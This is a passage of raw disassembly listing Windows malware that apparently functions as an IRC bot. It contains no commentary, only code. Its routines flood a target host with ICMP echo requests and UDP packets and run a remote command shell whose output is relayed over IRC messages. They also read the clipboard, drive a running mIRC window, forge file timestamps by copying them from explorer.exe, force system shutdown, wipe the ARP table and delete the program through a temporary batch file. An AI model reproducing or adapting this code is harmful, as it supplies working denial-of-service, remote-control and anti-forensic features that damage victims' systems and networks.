dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_415B90 push ebx push esi push edi push [ebp+arg_0] call sub_415B10 push [ebp+arg_4] mov [ebp+var_4], eax call sub_415B10 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_409A09 add esp, 14h dec esi mov edi, esi jmp short loc_409B15 ; --------------------------------------------------------------------------- loc_409AA3: ; CODE XREF: sub_409A63+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_417033 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_417033 pop ecx cmp eax, ebx pop ecx jz short loc_409B13 loc_409AC5: ; CODE XREF: sub_409A63+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_409A45 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_409AE6 mov eax, ecx loc_409AE6: ; CODE XREF: sub_409A63+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_409B23 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_417033 movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_417033 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_409AC5 loc_409B13: ; CODE XREF: sub_409A63+60j dec edi dec esi loc_409B15: ; CODE XREF: sub_409A63+3Ej test esi, esi jg short loc_409AA3 mov eax, [ebp+arg_0] add eax, edi loc_409B1E: ; CODE XREF: sub_409A63+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409B23: ; CODE XREF: sub_409A63+88j xor eax, eax jmp short loc_409B1E sub_409A63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B27 proc near ; CODE XREF: sub_40CD3A+3AB4p ; sub_40CD3A+470Ap var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_421088 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_4210CC ; FormatMessageA lea eax, [ebp+var_100] loc_409B60: ; CODE XREF: sub_409B27+46j mov cl, [eax] cmp cl, 1Fh jg short loc_409B6C cmp cl, 9 jnz short loc_409B6F loc_409B6C: ; CODE XREF: sub_409B27+3Ej inc eax jmp short loc_409B60 ; --------------------------------------------------------------------------- loc_409B6F: ; CODE XREF: sub_409B27+43j ; sub_409B27+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_409B89 mov cl, [eax] cmp cl, 2Eh jz short loc_409B6F cmp cl, 21h jl short loc_409B6F loc_409B89: ; CODE XREF: sub_409B27+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43C680 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41588A add esp, 18h mov eax, esi pop esi leave retn sub_409B27 endp ; =============== S U B R O U T I N E ======================================= sub_409BB1 proc near ; CODE XREF: sub_40CD3A+512Dp push esi push 0 call dword_43C524 ; OpenClipboard test eax, eax jz short loc_409BE8 push 1 call dword_43C544 ; GetClipboardData mov esi, eax test esi, esi jz short loc_409BE8 push edi push esi call dword_4210D4 ; GlobalLock push esi mov edi, eax call dword_4210D0 ; GlobalUnlock call dword_43C5A8 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409BE8: ; CODE XREF: sub_409BB1+Bj ; sub_409BB1+19j xor eax, eax pop esi retn sub_409BB1 endp ; =============== S U B R O U T I N E ======================================= sub_409BEC proc near ; CODE XREF: sub_40CD3A+44B4p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43C560 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_409C68 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4210E0 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_4210DC ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_415316 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43C5B0 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_43C5B0 ; SendMessageA push ebx call dword_4210D8 ; UnmapViewOfFile push edi call dword_42106C ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_409C6A ; --------------------------------------------------------------------------- loc_409C68: ; CODE XREF: sub_409BEC+16j xor eax, eax loc_409C6A: ; CODE XREF: sub_409BEC+7Aj pop edi pop esi pop ebp retn sub_409BEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C6E proc near ; CODE XREF: sub_40C574+20Dp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43C60C ; SearchPathA test eax, eax jz short loc_409D0D mov edi, 80h push esi push edi push 3 push esi mov esi, dword_421078 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_409D0D lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4210E8 ; GetFileTime push ebx mov ebx, dword_42106C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409D0D lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4210E4 ; SetFileTime push esi call ebx ; CloseHandle loc_409D0D: ; CODE XREF: sub_409C6E+2Aj ; sub_409C6E+51j ... pop edi pop esi pop ebx leave retn sub_409C6E endp ; =============== S U B R O U T I N E ======================================= sub_409D12 proc near ; CODE XREF: sub_40CD3A+133Cp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_413BE5 pop ecx pop ecx push 50005h push 6 call dword_43C49C ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_409D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D34 proc near ; CODE XREF: sub_40BBF7+45Fp ; sub_40CD3A+53C9p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42C25C, esi push edi jz short loc_409D58 cmp dword_43C620, esi jnz short loc_409D58 push esi call sub_40B2B9 pop ecx loc_409D58: ; CODE XREF: sub_409D34+13j ; sub_409D34+1Bj call sub_414F9D lea eax, [ebp+var_764] push eax push 400h call dword_4210F8 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_415316 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_409EB8 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_415316 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_421070 ; WriteFile push edi call dword_42106C ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_415390 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_415390 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43B188 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_4210C8 ; GetModuleHandleA push eax call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_409E60 lea eax, [ebp+var_15C] push 80h push eax call dword_4210F4 ; SetFileAttributesA loc_409E60: ; CODE XREF: sub_409D34+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_415316 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_4210F0 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_4210EC ; CreateProcessA loc_409EB8: ; CODE XREF: sub_409D34+72j pop edi pop esi leave retn sub_409D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409EBC proc near ; CODE XREF: sub_40C574+31p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_415B90 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCTenpo_bat ; "c:\\tenpo.bat" push eax movsb call sub_415316 pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_421078 ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_409F76 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call dword_421070 ; WriteFile push edi call dword_42106C ; CloseHandle push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_415390 add esp, 0Ch lea ecx, [ebp+var_58] xor eax, eax mov [ebp+var_48], edi push ecx lea ecx, [ebp+var_48] push ecx push esi inc eax push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi mov [ebp+var_18], si call dword_4210EC ; CreateProcessA loc_409F76: ; CODE XREF: sub_409EBC+55j pop edi pop esi leave retn sub_409EBC endp ; =============== S U B R O U T I N E ======================================= sub_409F7A proc near ; CODE XREF: sub_4013E8+7p ; sub_401B7C+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_409FA2 push [esp+arg_0] call dword_43C5D8 ; gethostbyname test eax, eax jnz short loc_409F9B or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_409F9B: ; CODE XREF: sub_409F7A+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_409FA2: ; CODE XREF: sub_409F7A+Dj retn sub_409F7A endp ; =============== S U B R O U T I N E ======================================= sub_409FA3 proc near ; CODE XREF: sub_40CA58+D6p mov ecx, dword_43C47C xor eax, eax test ecx, ecx jz short locret_409FB1 jmp ecx ; --------------------------------------------------------------------------- locret_409FB1: ; CODE XREF: sub_409FA3+Aj retn sub_409FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409FB2 proc near ; CODE XREF: sub_40CD3A:loc_411E19p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43C5D0 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40A039 sub ecx, 32h jz loc_40A083 sub ecx, 48h jz short loc_40A00E sub ecx, 6Eh jz short loc_40A007 loc_409FF0: ; CODE XREF: sub_409FB2+85j push eax lea eax, [ebp+var_88] push offset unk_42B4C0 push eax call sub_415316 add esp, 0Ch jmp short loc_40A064 ; --------------------------------------------------------------------------- loc_40A007: ; CODE XREF: sub_409FB2+3Cj push offset unk_42B484 jmp short loc_40A056 ; --------------------------------------------------------------------------- loc_40A00E: ; CODE XREF: sub_409FB2+37j push [ebp+var_8] call sub_415BE9 push [ebp+var_8] mov esi, eax push edi push esi call sub_415390 add esp, 10h cmp esi, edi jz short loc_40A051 lea eax, [ebp+var_8] push ebx push eax push esi call dword_43C5D0 ; GetIpNetTable cmp eax, edi jnz short loc_409FF0 loc_40A039: ; CODE XREF: sub_409FB2+29j cmp [esi], edi jbe short loc_40A074 lea ebx, [esi+4] loc_40A040: ; CODE XREF: sub_409FB2+9Bj push ebx call dword_43C5CC ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A040 jmp short loc_40A074 ; --------------------------------------------------------------------------- loc_40A051: ; CODE XREF: sub_409FB2+75j push offset unk_42B440 loc_40A056: ; CODE XREF: sub_409FB2+5Aj ; sub_409FB2+D6j lea eax, [ebp+var_88] push eax call sub_415316 pop ecx pop ecx loc_40A064: ; CODE XREF: sub_409FB2+53j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40B078 pop ecx loc_40A074: ; CODE XREF: sub_409FB2+89j ; sub_409FB2+9Dj push esi call sub_415C9B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A083: ; CODE XREF: sub_409FB2+2Ej push offset unk_42B3F8 jmp short loc_40A056 sub_409FB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A08A proc near ; CODE XREF: sub_401444+231p ; sub_401BD4+253p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43C4F8 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_43C880 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_415316 add esp, 18h mov eax, esi pop esi leave retn sub_40A08A endp ; =============== S U B R O U T I N E ======================================= sub_40A0E3 proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40A10E lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40A101: ; CODE XREF: sub_40A0E3+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40A101 pop edi jmp short loc_40A112 ; --------------------------------------------------------------------------- loc_40A10E: ; CODE XREF: sub_40A0E3+Aj mov esi, [esp+4+arg_0] loc_40A112: ; CODE XREF: sub_40A0E3+29j test ecx, ecx jz short loc_40A11B movzx eax, byte ptr [esi] add edx, eax loc_40A11B: ; CODE XREF: sub_40A0E3+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A0E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A133 proc near ; DATA XREF: sub_40CD3A+2CA8o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call dword_43C4E0 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43C594 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40A18E lea eax, [ebp+var_C0] push eax call dword_43C5D8 ; gethostbyname cmp eax, ebx jz short loc_40A194 loc_40A18E: ; CODE XREF: sub_40A133+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40A1F1 loc_40A194: ; CODE XREF: sub_40A133+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B544 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A1D4 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412BD1 add esp, 14h loc_40A1D4: ; CODE XREF: sub_40A133+7Fj lea eax, [ebp+var_344] push eax call sub_40B078 push [ebp+var_30] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_40A1F1: ; CODE XREF: sub_40A133+5Fj cmp eax, ebx jz short loc_40A201 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40A204 ; --------------------------------------------------------------------------- loc_40A201: ; CODE XREF: sub_40A133+C0j mov [ebp+var_4], esi loc_40A204: ; CODE XREF: sub_40A133+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_415390 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40A224 mov [ebp+var_3C], eax loc_40A224: ; CODE XREF: sub_40A133+ECj cmp [ebp+var_38], edi jge short loc_40A22C mov [ebp+var_38], edi loc_40A22C: ; CODE XREF: sub_40A133+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40A259 loc_40A233: ; CODE XREF: sub_40A133+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43C478 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_40A233 loc_40A259: ; CODE XREF: sub_40A133+FEj push [ebp+arg_0] call dword_43C608 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B504 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A2A2 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412BD1 add esp, 14h loc_40A2A2: ; CODE XREF: sub_40A133+14Dj lea eax, [ebp+var_344] push eax call sub_40B078 push [ebp+var_30] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread sub_40A133 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A2BF proc near ; DATA XREF: sub_40CD3A+2DE2o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_42104C ; GetTickCount push eax call sub_415368 pop ecx push 11h push 2 push 2 call dword_43C5D4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40A3A4 lea eax, [ebp+var_B0] push eax call dword_43C5D8 ; gethostbyname cmp eax, edi jnz short loc_40A39D lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B5C0 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A380 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412BD1 add esp, 14h loc_40A380: ; CODE XREF: sub_40A2BF+9Fj lea eax, [ebp+var_334] push eax call sub_40B078 push [ebp+var_20] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40A39D: ; CODE XREF: sub_40A2BF+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40A3A7 ; --------------------------------------------------------------------------- loc_40A3A4: ; CODE XREF: sub_40A2BF+6Ej lea eax, [ebp+arg_0] loc_40A3A7: ; CODE XREF: sub_40A2BF+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40A3C2 call sub_415372 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40A3C5 ; --------------------------------------------------------------------------- loc_40A3C2: ; CODE XREF: sub_40A2BF+F0j push [ebp+var_24] loc_40A3C5: ; CODE XREF: sub_40A2BF+101j call dword_43C554 ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40A3D7 mov [ebp+var_24], esi loc_40A3D7: ; CODE XREF: sub_40A2BF+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40A3E4 mov [ebp+var_24], eax loc_40A3E4: ; CODE XREF: sub_40A2BF+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40A3F8 mov [ebp+var_28], esi loc_40A3F8: ; CODE XREF: sub_40A2BF+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40A471 loc_40A3FF: ; CODE XREF: sub_40A2BF+158j call sub_415372 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40A3FF jmp short loc_40A471 ; --------------------------------------------------------------------------- loc_40A41B: ; CODE XREF: sub_40A2BF+1B5j dec [ebp+var_30] push 0Bh pop esi loc_40A421: ; CODE XREF: sub_40A2BF+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_415372 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43C5B8 ; sendto push [ebp+var_28] call dword_421060 ; Sleep dec esi jnz short loc_40A421 cmp [ebp+var_24], edi jnz short loc_40A471 call sub_415372 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43C554 ; ntohs mov [ebp+var_E], ax loc_40A471: ; CODE XREF: sub_40A2BF+13Ej ; sub_40A2BF+15Aj ... cmp [ebp+var_30], edi jg short loc_40A41B dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B580 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A4B9 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412BD1 add esp, 14h loc_40A4B9: ; CODE XREF: sub_40A2BF+1D8j lea eax, [ebp+var_334] push eax call sub_40B078 push [ebp+var_20] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread sub_40A2BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A4D6 proc near ; CODE XREF: sub_40A506+2Ap ; sub_40A53E+7Ep ... mov eax, dword_43C894 push esi mov esi, dword_42106C cmp eax, 0FFFFFFFFh jz short loc_40A4EA push eax call esi ; CloseHandle loc_40A4EA: ; CODE XREF: sub_40A4D6+Fj mov eax, dword_43C89C cmp eax, 0FFFFFFFFh jz short loc_40A4F7 push eax call esi ; CloseHandle loc_40A4F7: ; CODE XREF: sub_40A4D6+1Cj mov eax, dword_43C890 cmp eax, 0FFFFFFFFh jz short loc_40A504 push eax call esi ; CloseHandle loc_40A504: ; CODE XREF: sub_40A4D6+29j pop esi retn sub_40A4D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A506 proc near ; CODE XREF: sub_40B459+14Ap ; sub_40CD3A+446Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_415B10 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43C898 call dword_421070 ; WriteFile test eax, eax jnz short loc_40A539 call sub_40A4D6 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A539: ; CODE XREF: sub_40A506+28j xor eax, eax inc eax leave retn sub_40A506 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A53E proc near ; CODE XREF: sub_40A5C5+D3p ; sub_40A5C5+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43B188 push [ebp+arg_4] call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40A581 push 7D0h call dword_421060 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_415316 add esp, 10h jmp short loc_40A598 ; --------------------------------------------------------------------------- loc_40A581: ; CODE XREF: sub_40A53E+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_415316 add esp, 0Ch loc_40A598: ; CODE XREF: sub_40A53E+41j lea eax, [ebp+var_200] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43C5A4 ; send test eax, eax jg short loc_40A5C1 call sub_40A4D6 loc_40A5C1: ; CODE XREF: sub_40A53E+7Cj xor eax, eax leave retn sub_40A53E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; DATA XREF: sub_40A71A+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43C8A0 loc_40A5DD: ; CODE XREF: sub_40A5C5+79j ; sub_40A5C5+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43C894 call dword_421000 ; PeekNamedPipe test eax, eax jz loc_40A6AB cmp [ebp+var_4], edi jnz short loc_40A640 lea eax, [ebp+var_8] push eax push dword_43C890 call dword_4210FC ; GetExitCodeProcess test eax, eax jz short loc_40A636 cmp [ebp+var_8], 103h jnz loc_40A6CF loc_40A636: ; CODE XREF: sub_40A5C5+62j push 0Ah call dword_421060 ; Sleep jmp short loc_40A5DD ; --------------------------------------------------------------------------- loc_40A640: ; CODE XREF: sub_40A5C5+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40A657 loc_40A647: ; CODE XREF: sub_40A5C5+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40A6A5 inc eax cmp eax, [ebp+var_4] jb short loc_40A647 loc_40A657: ; CODE XREF: sub_40A5C5+80j mov [ebp+var_4], esi loc_40A65A: ; CODE XREF: sub_40A5C5+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43C894 call dword_421068 ; ReadFile test eax, eax jz short loc_40A6F7 lea eax, [ebp+var_20C] push eax push ebx push dword_43C8D4 call sub_40A53E add esp, 0Ch jmp loc_40A5DD ; --------------------------------------------------------------------------- loc_40A6A5: ; CODE XREF: sub_40A5C5+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40A65A ; --------------------------------------------------------------------------- loc_40A6AB: ; CODE XREF: sub_40A5C5+45j push offset dword_42B690 push ebx push dword_43C8D4 call sub_40A53E push [ebp+arg_0] call sub_4150F0 add esp, 10h push 1 call dword_421048 ; ExitThread loc_40A6CF: ; CODE XREF: sub_40A5C5+6Bj call sub_40A4D6 push offset dword_42B654 push ebx push dword_43C8D4 call sub_40A53E push [ebp+arg_0] call sub_4150F0 add esp, 10h push edi call dword_421048 ; ExitThread loc_40A6F7: ; CODE XREF: sub_40A5C5+C3j push offset dword_42B610 push ebx push dword_43C8D4 call sub_40A53E push [ebp+arg_0] call sub_4150F0 add esp, 10h push edi call dword_421048 ; ExitThread sub_40A5C5 endp ; 